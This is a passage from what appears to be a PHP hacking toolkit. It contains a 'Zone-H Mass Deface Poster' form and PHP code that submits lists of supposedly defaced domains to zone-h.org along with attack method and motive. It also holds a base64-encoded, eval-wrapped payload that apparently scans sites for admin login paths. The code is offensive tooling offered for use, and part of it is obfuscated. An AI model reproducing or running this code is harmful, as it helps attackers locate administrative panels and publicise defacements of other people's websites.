{\r\n\t\tbackground-color:#333;\r\n\t\tcolor:#FFF;\r\n\t\tmargin-center: 0px;\r\n\t\t-moz-border-radius:5px;\r\n \t-webkit-border-radius:5px;\r\n\t}\r\n</style>\r\n<title>Zone-H Mass Deface Poster</title>\r\n<link rel=\"shortcut icon\" href=\"http://bysic.co.cc/ZH.png\" />\r\n<center>\r\n<h1>Zone-H Mass Deface Poster</h1>\r\n\t<form method=POST>\r\n\t<form action=\"\" method=\"post\">\r\n<input type=\"text\" name=\"defacer\" size=\"56\" value=\"Your Zone-h Name\" />\r\n<br>\r\n<select name=\"hackmode\">\r\n<option>--------SELECT--------</option>\r\n<option value=\"1\">known vulnerability (i.e. unpatched system)</option>\r\n<option value=\"2\" >undisclosed (new) vulnerability</option>\r\n<option value=\"3\" >configuration / admin. mistake</option>\r\n<option value=\"4\" >brute force attack</option>\r\n<option value=\"5\" >social engineering</option>\r\n<option value=\"6\" >Web Server intrusion</option>\r\n<option value=\"7\" >Web Server external module intrusion</option>\r\n<option value=\"8\" >Mail Server intrusion</option>\r\n<option value=\"9\" >FTP Server intrusion</option>\r\n<option value=\"10\" >SSH Server intrusion</option>\r\n<option value=\"11\" >Telnet Server intrusion</option>\r\n<option value=\"12\" >RPC Server intrusion</option>\r\n<option value=\"13\" >Shares misconfiguration</option>\r\n<option value=\"14\" >Other Server intrusion</option>\r\n<option value=\"15\" >SQL Injection</option>\r\n<option value=\"16\" >URL Poisoning</option>\r\n<option value=\"17\" >File Inclusion</option>\r\n<option value=\"18\" >Other Web Application bug</option>\r\n<option value=\"19\" >Remote administrative panel access bruteforcing</option>\r\n<option value=\"20\" >Remote administrative panel access password guessing</option>\r\n<option value=\"21\" >Remote administrative panel access social engineering</option>\r\n<option value=\"22\" >Attack against administrator(password stealing/sniffing)</option>\r\n<option value=\"23\" >Access credentials through Man In the Middle attack</option>\r\n<option value=\"24\" >Remote service password guessing</option>\r\n<option value=\"25\" >Remote service password bruteforce</option>\r\n<option value=\"26\" >Rerouting after attacking the Firewall</option>\r\n<option value=\"27\" >Rerouting after attacking the Router</option>\r\n<option value=\"28\" >DNS attack through social engineering</option>\r\n<option value=\"29\" >DNS attack through cache poisoning</option>\r\n<option value=\"30\" >Not available</option>\r\n</select>\r\n<br>\r\n<select name=\"reason\">\r\n<option style='display:block;width:100%;'>--------SELECT--------</option>\r\n<option value=\"1\" >Heh...just for fun!</option>\r\n<option value=\"2\" >Revenge against that website</option>\r\n<option value=\"3\" >Political reasons</option>\r\n<option value=\"4\" >As a challenge</option>\r\n<option value=\"5\" >I just want to be the best defacer</option>\r\n<option value=\"6\" >Patriotism</option>\r\n<option value=\"7\" >Not available</option>\r\n</select>\r\n<br>\r\n<textarea name=\"domain\" style='display:block;width:25%;height:150px;'>List Of Domains</textarea>\r\n<p>(1 Domain Per Lines)</p>\r\n<input type=\"submit\" value=\"Send Now !\" name=\"SendNowToZoneH\" />\r\n</form></form><span style=\"color:red\">\r\n\r\n\r\n \r\n <?php\r\nfunction ZoneH(\$url, \$hacker, \$hackmode,\$reson, \$site )\r\n{\r\n\t\$k = curl_init();\r\n\tcurl_setopt(\$k, CURLOPT_URL, \$url);\r\n\tcurl_setopt(\$k,CURLOPT_POST,true);\r\n\tcurl_setopt(\$k, CURLOPT_POSTFIELDS,\"defacer=\".\$hacker.\"&domain1=\". \$site.\"&hackmode=\".\$hackmode.\"&reason=\".\$reson);\r\n\tcurl_setopt(\$k,CURLOPT_FOLLOWLOCATION, true);\r\n\tcurl_setopt(\$k, CURLOPT_RETURNTRANSFER, true);\r\n\t\$kubra = curl_exec(\$k);\r\n\tcurl_close(\$k);\r\n\treturn \$kubra;\r\n}\r\n\r\n\t\t\t\tif(\$_POST['SendNowToZoneH'])\r\n\t\t\t{\r\n\t\t\t\tob_start();\r\n\t\t\t\t\$sub = @get_loaded_extensions();\r\n\t\t\t\tif(!in_array(\"curl\", \$sub))\r\n\t\t\t\t{\r\n\t\t\t\t\tdie('[-] Curl Is Not Supported !! ');\r\n\t\t\t\t}\r\n\t\t\t\r\n\t\t\t\t\$hacker = \$_POST['defacer'];\r\n\t\t\t\t\$method = \$_POST['hackmode'];\r\n\t\t\t\t\$neden = \$_POST['reason'];\r\n\t\t\t\t\$site = \$_POST['domain'];\r\n\t\t\t\t\r\n\t\t\t\tif (\$hacker == \"Your Zone-h Name\")\r\n\t\t\t\t{\r\n\t\t\t\t\tdie (\"[-] You Must Fill the Attacker name !\");\r\n\t\t\t\t}\r\n\t\t\t\telseif(\$method == \"--------SELECT--------\") \r\n\t\t\t\t{\r\n\t\t\t\t\tdie(\"[-] You Must Select The Method !\");\r\n\t\t\t\t}\r\n\t\t\t\telseif(\$neden == \"--------SELECT--------\") \r\n\t\t\t\t{\r\n\t\t\t\t\tdie(\"[-] You Must Select The Reason\");\r\n\t\t\t\t}\r\n\t\t\t\telseif(empty(\$site)) \r\n\t\t\t\t{\r\n\t\t\t\t\tdie(\"[-] You Must Inter the Sites List ! \");\r\n\t\t\t\t}\r\n\t\t\t\t\$i = 0;\r\n\t\t\t\t\$sites = explode(\"\\n\", \$site);\r\n\t\t\t\twhile(\$i < count(\$sites)) \r\n\t\t\t\t{\r\n\t\t\t\t\tif(substr(\$sites[\$i], 0, 4) != \"http\") \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$sites[\$i] = \"http://\".\$sites[\$i];\r\n\t\t\t\t\t}\r\n\t\t\t\t\tZoneH(\"http://zone-h.org/notify/single\", \$hacker, \$method, \$neden, \$sites[\$i]);\r\n\t\t\t\t\techo \"Site : \".\$sites[\$i].\" Defaced !<br>\";\r\n\t\t\t\t\t++\$i;\r\n\t\t\t\t}\r\n\t\t\t\techo \"[+] Sending Sites To Zone-H Has Been Completed Successfully !!\";\r\n\t\t\t}\r\n\t\t\t?>\r\n\t\t\t</span>\r\n </center>\r\n ");
echo "<a href='./tools/zone-h.php'>Here zone-h.php</a><br>";
$searchadmin = 'PD8gZXZhbChiYXNlNjRfZGVjb2RlKCdjMlYwWDNScGJXVmZiR2x0YVhRb01DazdEUXBsY25KdmNsOXlaWEJ2Y25ScGJtY29NQ2s3RFFva2JHbHpkRnNuWm5KdmJuUW5YU0E5SW1Ga2JXbHVEUXBoWkcwTkNtRmtiV2x1WTNBTkNtRmtiV053RFFwamNBMEtiVzlrWTNBTkNtMXZaR1Z5WVhSdmNtTndEUXBoWkcxcGJtRnlaUTBLWVdSdGFXNXpEUXBqY0dGdVpXd05DbU52Ym5SeWIyeHdZVzVsYkNJN0RRb2tiR2x6ZEZzblpXNWtKMTBnUFNBaVlXUnRhVzR4TG5Cb2NBMEtZV1J0YVc0eExtaDBiV3dOQ21Ga2JXbHVZM0FOQ21Ga2JXbHVNaTV3YUhBTkNtRmtiV2x1TWk1b2RHMXNEUXA1YjI1bGRHbHRMbkJvY0EwS2VXOXVaWFJwYlM1b2RHMXNEUXA1YjI1bGRHbGphUzV3YUhBTkNubHZibVYwYVdOcExtaDBiV3dOQ21OamJYTXZEUXBqWTIxekwyeHZaMmx1TG5Cb2NBMEtZMk50Y3k5cGJtUmxlQzV3YUhBTkNtMWhhVzUwWlc1aGJtTmxMdzBLZDJWaWJXRnpkR1Z5THcwS1lXUnRMdzBLWTI5dVptbG5kWEpoZEdsdmJpOE5DbU52Ym1acFozVnlaUzhOQ25kbFluTjJiaThOQ21Ga2JXbHVMdzBLWVdSdGFXNHZZV05qYjNWdWRDNXdhSEFOQ21Ga2JXbHVMMkZqWTI5MWJuUXVhSFJ0YkEwS1lXUnRhVzR2YVc1a1pYZ3VjR2h3RFFwaFpHMXBiaTlwYm1SbGVDNW9kRzFzRFFwaFpHMXBiaTlzYjJkcGJpNXdhSEFOQ21Ga2JXbHVMMnh2WjJsdUxtaDBiV3dOQ21Ga2JXbHVMMmh2YldVdWNHaHdEUXBoWkcxcGJpOWpiMjUwY205c2NHRnVaV3d1YUhSdGJBMEtZV1J0YVc0dlkyOXVkSEp2YkhCaGJtVnNMbkJvY0EwS1lXUnRhVzR1Y0dod0RRcGhaRzFwYmk1b2RHMXNEUXBoWkcxcGJpOWpjQzV3YUhBTkNtRmtiV2x1TDJOd0xtaDBiV3dOQ21Od0xuQm9jQTBLWTNBdWFIUnRiQTBLWVdSdGFXNXBjM1J5WVhSdmNpOE5DbUZrYldsdWFYTjBjbUYwYjNJdmFXNWtaWGd1YUhSdGJBMEtZV1J0YVc1cGMzUnlZWFJ2Y2k5cGJtUmxlQzV3YUhBTkNtRmtiV2x1YVhOMGNtRjBiM0l2Ykc5bmFXNHVhSFJ0YkEwS1lXUnRhVzVwYzNSeVlYUnZjaTlzYjJkcGJpNXdhSEFOQ21Ga2JXbHVhWE4wY21GMGIzSXZZV05qYjNWdWRDNW9kRzFzRFFwaFpHMXBibWx6ZEhKaGRHOXlMMkZqWTI5MWJuUXVjR2h3RFFwaFpHMXBibWx6ZEhKaGRHOXlMbkJvY0EwS1lXUnRhVzVwYzNSeVlYUnZjaTVvZEcxc0RRcHNiMmRwYmk1d2FIQU5DbXh2WjJsdUxtaDBiV3dOQ20xdlpHVnNjMlZoY21Ob0wyeHZaMmx1TG5Cb2NBMEtiVzlrWlhKaGRHOXlMbkJvY0EwS2JXOWtaWEpoZEc5eUxtaDBiV3dOQ20xdlpHVnlZWFJ2Y2k5c2IyZHBiaTV3YUhBTkNtMXZaR1Z5WVhSdmNpOXNiMmRwYmk1b2RHMXNEUXB0YjJSbGNtRjBiM0l2WVdSdGFXNHVjR2h3RFFwdGIyUmxjbUYwYjNJdllXUnRhVzR1YUhSdGJBMEtiVzlrWlhKaGRHOXlMdzBLWVdOamIzVnVkQzV3YUhBTkNtRmpZMjkxYm5RdWFIUnRiQTBLWTI5dWRISnZiSEJoYm1Wc0x3MEtZMjl1ZEhKdmJIQmhibVZzTG5Cb2NBMEtZMjl1ZEhKdmJIQmhibVZzTG1oMGJXd05DbUZrYldsdVkyOXVkSEp2YkM1d2FIQU5DbUZrYldsdVkyOXVkSEp2YkM1b2RHMXNEUXBoWkcxcGJuQmhibVZzTG5Cb2NBMEtZV1J0YVc1d1lXNWxiQzVvZEcxc0RRcGhaRzFwYmpFdVlYTndEUXBoWkcxcGJqSXVZWE53RFFwNWIyNWxkR2x0TG1GemNBMEtlVzl1WlhScFkya3VZWE53RFFwaFpHMXBiaTloWTJOdmRXNTBMbUZ6Y0EwS1lXUnRhVzR2YVc1a1pYZ3VZWE53RFFwaFpHMXBiaTlzYjJkcGJpNWhjM0FOQ21Ga2JXbHVMMmh2YldVdVlYTndEUXBoWkcxcGJpOWpiMjUwY205c2NHRnVaV3d1WVhOd0RRcGhaRzFwYmk1aGMzQU5DbUZrYldsdUwyTndMbUZ6Y0EwS1kzQXVZWE53RFFwaFpHMXBibWx6ZEhKaGRHOXlMMmx1WkdWNExtRnpjQTBLWVdSdGFXNXBjM1J5WVhSdmNpOXNiMmRwYmk1aGMzQU5DbUZrYldsdWFYTjBjbUYwYjNJdllXTmpiM1Z1ZEM1aGMzQU5DbUZrYldsdWFYTjBjbUYwYjNJdVlYTndEUXBzYjJkcGJpNWhjM0FOQ20xdlpHVnNjMlZoY21Ob0wyeHZaMmx1TG1GemNBMEtiVzlrWlhKaGRHOXlMbUZ6Y0EwS2JXOWtaWEpoZEc5eUwyeHZaMmx1TG1GemNBMEtiVzlrWlhKaGRHOXlMMkZrYldsdUxtRnpjQTBLWVdOamIzVnVkQzVoYzNBTkNtTnZiblJ5YjJ4d1lXNWxiQzVoYzNBTkNtRmtiV2x1WTI5dWRISnZiQzVoYzNBTkNtRmtiV2x1Y0dGdVpXd3VZWE53RFFwbWFXeGxZV1J0YVc0dkRRcG1hV3hsWVdSdGFXNHVjR2h3RFFwbWFXeGxZV1J0YVc0dVlYTndEUXBtYVd4bFlXUnRhVzR1YUhSdGJBMEtZV1J0YVc1cGMzUnlZWFJwYjI0dkRRcGhaRzFwYm1semRISmhkR2x2Ymk1d2FIQU5DbUZrYldsdWFYTjBjbUYwYVc5dUxtaDBiV3dOQ25ONWMyRmtiV2x1TG5Cb2NBMEtjM2x6WVdSdGFXNHVhSFJ0YkEwS2NHaHdiWGxoWkcxcGJpOE5DbTE1WVdSdGFXNHZEUXB6ZVhOaFpHMXBiaTVoYzNBTkNuTjVjMkZrYldsdUx3MEtkWEl0WVdSdGFXNHVZWE53RFFwMWNpMWhaRzFwYmk1d2FIQU5DblZ5TFdGa2JXbHVMbWgwYld3TkNuVnlMV0ZrYldsdUx3MEtVMlZ5ZG1WeUxuQm9jQTBLVTJWeWRtVnlMbWgwYld3TkNsTmxjblpsY2k1aGMzQU5DbE5sY25abGNpOE5DbmR3TFdGa2JXbHVMdzBLWTI5dVptbG5kWEpoZEdsdmJpNXdhSEF1ZEhoMERRcGhaRzFwYm1semRISTRMbkJvY0EwS1lXUnRhVzVwYzNSeU9DNW9kRzFzRFFwaFpHMXBibWx6ZEhJNEx3MEtZV1J0YVc1cGMzUnlPQzVoYzNBTkNuZGxZbUZrYldsdUx3MEtkMlZpWVdSdGFXNHVjR2h3RFFwM1pXSmhaRzFwYmk1aGMzQU5DbmRsWW1Ga2JXbHVMbWgwYld3TkNtRmtiV2x1YVhOMGNtRjBhV1V2RFFwaFpHMXBibk12RFFwaFpHMXBibk11Y0dod0RRcGhaRzFwYm5NdVlYTndEUXBoWkcxcGJuTXVhSFJ0YkEwS1lXUnRhVzVwYzNSeWFYWnBZUzhOQ2tSaGRHRmlZWE5sWDBGa2JXbHVhWE4wY21GMGFXOXVMdzBLVjJWaVFXUnRhVzR2RFFwMWMyVnlZV1J0YVc0dkRRcHplWE5oWkcxcGJuTXZEUXBoWkcxcGJqRXZEUXB6ZVhOMFpXMHRZV1J0YVc1cGMzUnlZWFJwYjI0dkRRcGhaRzFwYm1semRISmhkRzl5Y3k4TkNuQm5ZV1J0YVc0dkRRcGthWEpsWTNSaFpHMXBiaThOQ25OMFlYSmhaRzFwYmk4TkNsTmxjblpsY2tGa2JXbHVhWE4wY21GMGIzSXZEUXBUZVhOQlpHMXBiaThOQ21Ga2JXbHVhWE4wWlhJdkRRcE1hWFpsVlhObGNsOUJaRzFwYmk4TkNuTjVjeTFoWkcxcGJpOE5DblI1Y0c4ekx3MEtjR0Z1Wld3dkRRcHdZVzV1Wld4c2J5OXNiMmRwYmk1aGMzQU5DbkJoYm01bGJHeHZMMlJsWm1GMWJIUXVZWE53RFFwdFpXNTFMbUZ6Y0EwS2JtVjNjeTVoYzNBTkNuQnlhWFpoZEc4dkRRcHdjbWwyWVhSdkwyeHZaMmx1TG1GemNBMEtjSEpwZG1GMGJ5OWtaV1poZFd4MExtRnpjQTBLY0hKcGRtRjBieTl1WlhkekxtRnpjQTBLY21selpYSjJZWFJ2THcwS2NtbHpaWEoyWVhSdkwyeHZaMmx1TG1GemNBMEtjbWx6WlhKMllYUnZMMlJsWm1GMWJIUXVZWE53RFFwdVlYTmpiM04wYnk4TkNtNWhjMk52YzNSdkwyeHZaMmx1TG1GemNBMEtibUZ6WTI5emRHOHZaR1ZtWVhWc2RDNWhjM0FOQ21Od1lXNWxiQzhOQ21OUVlXNWxiQzhOQ21Od1lXNWxiRjltYVd4bEx3MEtjR3hoZEhwZmJHOW5hVzR2RFFweVkweHZaMmx1THcwS1lteHZaMmx1WkdWNEx3MEtabTl5YlhOc2IyZHBiaThOQ21GMWRHOXNiMmRwYmk4TkNuTjFjSEJ2Y25SZmJHOW5hVzR2RFFwdFpYUmhYMnh2WjJsdUx3MEtiV0Z1ZFdGc2JHOW5hVzR2RFFwemFXMXdiR1ZNYjJkcGJpOE5DbXh2WjJsdVpteGhkQzhOQ25WMGFXeHBkSGxmYkc5bmFXNHZEUXB6YUc5M2JHOW5hVzR2RFFwdFpXMXNiMmRwYmk4TkNtMWxiV0psY25NdkRRcHNiMmRwYmkxeVpXUnBjbVZqZEM4TkNuTjFZaTFzYjJkcGJpOE5DbmR3TFd4dloybHVMdzBLYkc5bmFXNHhMdzBLWkdseUxXeHZaMmx1THcwS2JHOW5hVzVmWkdJdkRRcDRiRzluYVc0dkRRcHpiV0pzYjJkcGJpOE5DbU4xYzNSdmJXVnlYMnh2WjJsdUx3MEtWWE5sY2t4dloybHVMdzBLYkc5bmFXNHRkWE12RFFwaFkyTjBYMnh2WjJsdUx3MEtZV1J0YVc1ZllYSmxZUzhOQ21KcFoyRmtiV2x1THcwS2NISnZhbVZqZEMxaFpHMXBibk12RFFwd2FIQndaMkZrYldsdUx3MEtjSFZ5WldGa2JXbHVMdzBLYzNGc0xXRmtiV2x1THcwS2NtRmtiV2x1WkM4TkNtOXdaVzUyY0c1aFpHMXBiaThOQ25kcGVtMTVjM0ZzWVdSdGFXNHZEUXAyWVdSdGFXNWtMdzBLWlhwemNXeHBkR1ZoWkcxcGJpOE5DbWh3ZDJWaWFtVjBZV1J0YVc0dkRRcHVaWGR6WVdSdGFXNHZEUXBoWkcxcGJuQnlieThOQ2t4dmRIVnpYMFJ2YldsdWIxOUJaRzFwYmk4TkNtSmlZV1J0YVc0dkRRcDJiV0ZwYkdGa2JXbHVMdzBLU1c1a2VWOWhaRzFwYmk4TkNtTmpjREUwWVdSdGFXNHZEUXBwY21NdGJXRmpZV1J0YVc0dkRRcGlZVzV1WlhKaFpHMXBiaThOQ25OemFHRmtiV2x1THcwS2NHaHdiR1JoY0dGa2JXbHVMdzBLYldGallXUnRhVzR2RFFwaFpHMXBibWx6ZEhKaGRHOXlZV05qYjNWdWRITXZEUXBoWkcxcGJqUmZZV05qYjNWdWRDOE5DbUZrYldsdU5GOWpiMnh2Ymk4TkNuSmhaRzFwYm1RdE1TOE5DbE4xY0dWeUxVRmtiV2x1THcwS1FXUnRhVzVVYjI5c2N5OE5DbU50YzJGa2JXbHVMdzBLVTNselFXUnRhVzR5THcwS1oyeHZZbVZ6WDJGa2JXbHVMdzBLWTJGa2JXbHVjeThOQ25Cb2NGTlJUR2wwWlVGa2JXbHVMdzBLYm1GMlUybDBaVUZrYldsdUx3MEtjMlZ5ZG1WeVgyRmtiV2x1WDNOdFlXeHNMdzBLYkc5bmIxOXplWE5oWkcxcGJpOE5Dbk5sY25abGNpOE5DbVJoZEdGaVlYTmxYMkZrYldsdWFYTjBjbUYwYVc5dUx3MEtjRzkzWlhKZmRYTmxjaThOQ25ONWMzUmxiVjloWkcxcGJtbHpkSEpoZEdsdmJpOE5Dbk56WDNadGMxOWhaRzFwYmw5emJTOE5DbUZrYldsdVlYSmxZUzhOQ21KaUxXRmtiV2x1THcwS1lXUnRhVzVNYjJkcGJpOE5DbkJoYm1Wc0xXRmtiV2x1YVhOMGNtRmphVzl1THcwS2FXNXpkR0ZrYldsdUx3MEtiV1Z0WW1WeVlXUnRhVzR2RFFwaFpHMXBibWx6ZEhKaGRHOXliRzluYVc0dkRRcGhaRzFwYmk5aFpHMXBiaTV3YUhBTkNtRmtiV2x1WDJGeVpXRXZZV1J0YVc0dWNHaHdEUXBoWkcxcGJsOWhjbVZoTDJ4dloybHVMbkJvY0EwS2MybDBaV0ZrYldsdUwyeHZaMmx1TG5Cb2NBMEtjMmwwWldGa2JXbHVMMmx1WkdWNExuQm9jQTBLYzJsMFpXRmtiV2x1TDJ4dloybHVMbWgwYld3TkNtRmtiV2x1TDJGa2JXbHVMbWgwYld3TkNtRmtiV2x1WDJGeVpXRXZhVzVrWlhndWNHaHdEUXBpWWkxaFpHMXBiaTlwYm1SbGVDNXdhSEFOQ21KaUxXRmtiV2x1TDJ4dloybHVMbkJvY0EwS1ltSXRZV1J0YVc0dllXUnRhVzR1Y0dod0RRcGhaRzFwYmw5aGNtVmhMMnh2WjJsdUxtaDBiV3dOQ21Ga2JXbHVYMkZ5WldFdmFXNWtaWGd1YUhSdGJBMEtZV1J0YVc1amNDOXBibVJsZUM1aGMzQU5DbUZrYldsdVkzQXZiRzluYVc0dVlYTndEUXBoWkcxcGJtTndMMmx1WkdWNExtaDBiV3dOQ25kbFltRmtiV2x1TDJsdVpHVjRMbWgwYld3TkNuZGxZbUZrYldsdUwyRmtiV2x1TG1oMGJXd05DbmRsWW1Ga2JXbHVMMnh2WjJsdUxtaDBiV3dOQ21Ga2JXbHVMMkZrYldsdVgyeHZaMmx1TG1oMGJXd05DbUZrYldsdVgyeHZaMmx1TG1oMGJXd05DbkJoYm1Wc0xXRmtiV2x1YVhOMGNtRmphVzl1TDJ4dloybHVMbWgwYld3TkNtNXpkeTloWkcxcGJpOXNiMmRwYmk1d2FIQU5DbmRsWW1Ga2JXbHVMMnh2WjJsdUxuQm9jQTBLWVdSdGFXNHZZV1J0YVc1ZmJHOW5hVzR1Y0dod0RRcGhaRzFwYmw5c2IyZHBiaTV3YUhBTkNtRmtiV2x1WDJGeVpXRXZZV1J0YVc0dWFIUnRiQTBLY0dGblpYTXZZV1J0YVc0dllXUnRhVzR0Ykc5bmFXNHVjR2h3RFFwaFpHMXBiaTloWkcxcGJpMXNiMmRwYmk1d2FIQU5DbUZrYldsdUxXeHZaMmx1TG5Cb2NBMEtZbUl0WVdSdGFXNHZhVzVrWlhndWFIUnRiQTBLWW1JdFlXUnRhVzR2Ykc5bmFXNHVhSFJ0YkEwS1ltSXRZV1J0YVc0dllXUnRhVzR1YUhSdGJBMEtZV1J0YVc0dmFHOXRaUzVvZEcxc0RRcHdZV2RsY3k5aFpHMXBiaTloWkcxcGJpMXNiMmRwYmk1b2RHMXNEUXBoWkcxcGJpOWhaRzFwYmkxc2IyZHBiaTVvZEcxc0RRcGhaRzFwYmkxc2IyZHBiaTVvZEcxc0RRcGhaRzFwYmk5aFpHMXBia3h2WjJsdUxtaDBiV3dOQ21Ga2JXbHVURzluYVc0dWFIUnRiQTBLYUc5dFpTNW9kRzFzRFFweVkycGhhMkZ5TDJGa2JXbHVMMnh2WjJsdUxuQm9jQTBLWVdSdGFXNWhjbVZoTDJsdVpHVjRMbWgwYld3TkNtRmtiV2x1WVhKbFlTOWhaRzFwYmk1b2RHMXNEUXAzWldKaFpHMXBiaTlwYm1SbGVDNXdhSEFOQ25kbFltRmtiV2x1TDJGa2JXbHVMbkJvY0EwS2RYTmxjaTVvZEcxc0RRcHRiMlJsYkhObFlYSmphQzlzYjJkcGJpNW9kRzFzRFFwaFpHMXBibUZ5WldFdmJHOW5hVzR1YUhSdGJBMEtjR0Z1Wld3dFlXUnRhVzVwYzNSeVlXTnBiMjR2YVc1a1pYZ3VhSFJ0YkEwS2NHRnVaV3d0WVdSdGFXNXBjM1J5WVdOcGIyNHZZV1J0YVc0dWFIUnRiQTBLYlc5a1pXeHpaV0Z5WTJndmFXNWtaWGd1YUhSdGJBMEtiVzlrWld4elpXRnlZMmd2WVdSdGFXNHVhSFJ0YkEwS1lXUnRhVzVqYjI1MGNtOXNMMnh2WjJsdUxtaDBiV3dOQ21Ga2JTOXBibVJsZUM1b2RHMXNEUXBoWkcwdWFIUnRiQTBLZFhObGNpNXdhSEFOQ25CaGJtVnNMV0ZrYldsdWFYTjBjbUZqYVc5dUwyeHZaMmx1TG5Cb2NBMEtkM0F0Ykc5bmFXNHVjR2h3RFFwaFpHMXBia3h2WjJsdUxuQm9jQTBLWVdSdGFXNHZZV1J0YVc1TWIyZHBiaTV3YUhBTkNtaHZiV1V1Y0dod0RRcGhaRzFwYm1GeVpXRXZhVzVrWlhndWNHaHdEUXBoWkcxcGJtRnlaV0V2WVdSdGFXNHVjR2h3RFFwaFpHMXBibUZ5WldFdmJHOW5hVzR1Y0dod0RRcHdZVzVsYkMxaFpHMXBibWx6ZEhKaFkybHZiaTlwYm1SbGVDNXdhSEFOQ25CaGJtVnNMV0ZrYldsdWFYTjBjbUZqYVc5dUwyRmtiV2x1TG5Cb2NBMEtiVzlrWld4elpXRnlZMmd2YVc1a1pYZ3VjR2h3RFFwdGIyUmxiSE5sWVhKamFDOWhaRzFwYmk1d2FIQU5DbUZrYldsdVkyOXVkSEp2YkM5c2IyZHBiaTV3YUhBTkNtRmtiUzloWkcxc2IyZHBiblZ6WlhJdWNHaHdEUXBoWkcxc2IyZHBiblZ6WlhJdWNHaHdEUXBoWkcxcGJqSXZiRzluYVc0dWNHaHdEUXBoWkcxcGJqSXZhVzVrWlhndWNHaHdEUXBoWkcwdmFXNWtaWGd1Y0dod0RRcGhaRzB1Y0dod0RRcGhabVpwYkdsaGRHVXVjR2h3RFFwaFpHMWZZWFYwYUM1d2FIQU5DbTFsYldKbGNtRmtiV2x1TG5Cb2NBMEtZV1J0YVc1cGMzUnlZWFJ2Y214dloybHVMbkJvY0EwS1lXUnRhVzR2WVdSdGFXNHVZWE53RFFwaFpHMXBibDloY21WaEwyRmtiV2x1TG1GemNBMEtZV1J0YVc1ZllYSmxZUzlzYjJkcGJpNWhjM0FOQ21Ga2JXbHVYMkZ5WldFdmFXNWtaWGd1WVhOd0RRcGlZaTFoWkcxcGJpOXBibVJsZUM1aGMzQU5DbUppTFdGa2JXbHVMMnh2WjJsdUxtRnpjQTBLWW1JdFlXUnRhVzR2WVdSdGFXNHVZWE53RFFwd1lXZGxjeTloWkcxcGJpOWhaRzFwYmkxc2IyZHBiaTVoYzNBTkNtRmtiV2x1TDJGa2JXbHVMV3h2WjJsdUxtRnpjQTBLWVdSdGFXNHRiRzluYVc0dVlYTndEUXAxYzJWeUxtRnpjQTBLZDJWaVlXUnRhVzR2YVc1a1pYZ3VZWE53RFFwM1pXSmhaRzFwYmk5aFpHMXBiaTVoYzNBTkNuZGxZbUZrYldsdUwyeHZaMmx1TG1GemNBMEtZV1J0YVc0dllXUnRhVzVmYkc5bmFXNHVZWE53RFFwaFpHMXBibDlzYjJkcGJpNWhjM0FOQ25CaGJtVnNMV0ZrYldsdWFYTjBjbUZqYVc5dUwyeHZaMmx1TG1GemNBMEtZV1J0YVc1TWIyZHBiaTVoYzNBTkNtRmtiV2x1TDJGa2JXbHVURzluYVc0dVlYTndEUXBvYjIxbExtRnpjQTBLWVdSdGFXNWhjbVZoTDJsdVpHVjRMbUZ6Y0EwS1lXUnRhVzVoY21WaEwyRmtiV2x1TG1GemNBMEtZV1J0YVc1aGNtVmhMMnh2WjJsdUxtRnpjQTBLY0dGdVpXd3RZV1J0YVc1cGMzUnlZV05wYjI0dmFXNWtaWGd1WVhOd0RRcHdZVzVsYkMxaFpHMXBibWx6ZEhKaFkybHZiaTloWkcxcGJpNWhjM0FOQ20xdlpHVnNjMlZoY21Ob0wybHVaR1Y0TG1GemNBMEtiVzlrWld4elpXRnlZMmd2WVdSdGFXNHVZWE53RFFwaFpHMXBibU52Ym5SeWIyd3ZiRzluYVc0dVlYTndEUXBoWkcwdllXUnRiRzluYVc1MWMyVnlMbUZ6Y0EwS1lXUnRiRzluYVc1MWMyVnlMbUZ6Y0EwS1lXUnRhVzR5TDJ4dloybHVMbUZ6Y0EwS1lXUnRhVzR5TDJsdVpHVjRMbUZ6Y0EwS1lXUnRMMmx1WkdWNExtRnpjQTBLWVdSdExtRnpjQTBLWVdabWFXeHBZWFJsTG1GemNBMEtZV1J0WDJGMWRHZ3VZWE53RFFwdFpXMWlaWEpoWkcxcGJpNWhjM0FOQ21Ga2JXbHVhWE4wY21GMGIzSnNiMmRwYmk1aGMzQU5Dbk5wZEdWaFpHMXBiaTlzYjJkcGJpNWhjM0FOQ25OcGRHVmhaRzFwYmk5cGJtUmxlQzVoYzNBTkNrRkVUVWxPTHcwS2NHRnVaV3hrWldOdmJuUnliMnd2RFFwc2IyZHBiaThOQ21OdGN5OE5DbUZrYlc5dUx3MEtRVVJOVDA0dkRRcGhaRzFwYm1semRISmhaRzl5THcwS1FVUk5TVTR2Ykc5bmFXNHVjR2h3RFFwd1lXNWxiR012RFFwQlJFMUpUaTlzYjJkcGJpNW9kRzFzSWpzTkNtWjFibU4wYVc5dUlIUmxiWEJzWVhSbEtDa2dldzBLWldOb2J5QW5EUW84SVVSUFExUlpVRVVnYUhSdGJDQlFWVUpNU1VNZ0lpMHZMMWN6UXk4dlJGUkVJRmhJVkUxTUlERXVNQ0JVY21GdWMybDBhVzl1WVd3dkwwVk9JaUFpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2VkZJdmVHaDBiV3d4TDBSVVJDOTRhSFJ0YkRFdGRISmhibk5wZEdsdmJtRnNMbVIwWkNJK0RRbzhhSFJ0YkNCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TVRrNU9TOTRhSFJ0YkNJK0RRbzhhR1ZoWkQ0TkNqeHRaWFJoSUdoMGRIQXRaWEYxYVhZOUlrTnZiblJsYm5RdFZIbHdaU0lnWTI5dWRHVnVkRDBpZEdWNGRDOW9kRzFzT3lCamFHRnljMlYwUFhWMFppMDRJaUF2UGcwS1BIUnBkR3hsUGlCVFpXTjFjbWwwZVVKMWN5QThMM1JwZEd4bFBnMEtQSE4wZVd4bElIUjVjR1U5SW5SbGVIUXZZM056SWo0TkNtSnZaSGw3RFFvSlltRmphMmR5YjNWdVpEb2dJekF3TURzTkNnbHRZWEpuYVc0NklEQTdEUW9KY0dGa1pHbHVaem9nTURzTkNnbHdZV1JrYVc1bkxYUnZjRG9nTVRCd2VEc05DZ2xqYjJ4dmNqb2dJMFpHUmpzTkNnbG1iMjUwTFdaaGJXbHNlVG9nUTJGc2FXSnlhVHNOQ2dsbWIyNTBMWE5wZW1VNklERXpjSGc3RFFwOURRcGhldzBLQ1dOdmJHOXlPaUFqUmtaR093MEtDWFJsZUhRdFpHVmpiM0poZEdsdmJqb2dibTl1WlRzTkNnbG1iMjUwTFhkbGFXZG9kRG9nWW05c1pEc05DbjBOQ2k1M2NtRndjR1Z5ZXcwS0NYZHBaSFJvT2lBeE1EQXdjSGc3RFFvSmJXRnlaMmx1T2lBd0lHRjFkRzg3RFFw